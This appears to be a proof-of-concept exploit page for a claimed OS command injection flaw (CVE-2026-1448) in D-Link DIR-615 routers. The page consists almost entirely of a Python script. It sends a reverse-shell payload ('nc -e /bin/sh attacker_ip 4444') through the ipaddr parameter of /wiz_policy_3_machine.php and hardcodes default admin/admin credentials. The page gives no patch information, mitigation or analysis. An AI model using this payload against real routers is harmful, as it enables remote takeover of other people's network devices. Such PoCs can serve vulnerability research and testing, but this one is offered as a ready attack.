CVE-2026-1448 D-Link DIR-615 Web Management Interface os命令注入漏洞

import requests # CVE-2026-1448 PoC - D-Link DIR-615 OS Command Injection # Target: D-Link DIR-615 up to firmware 4.10 # File: /wiz_policy_3_machine.php # Parameter: ipaddr target_ip = "192.168.0.1" # Router IP target_url = f"http://{target_ip}/wiz_policy_3_machine.php" # Login first to get valid session login_url = f"http://{target_ip}/login.php" login_data = { "username": "admin", "password": "admin" } session = requests.Session() # session.post(login_url, data=login_data) # Exploit: OS Command Injection via ipaddr parameter # Example: Inject command to create reverse shell payload = "; nc -e /bin/sh attacker_ip 4444;" params = { "ipaddr": payload, "action": "save" } # Send malicious request response = session.get(target_url, params=params) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}")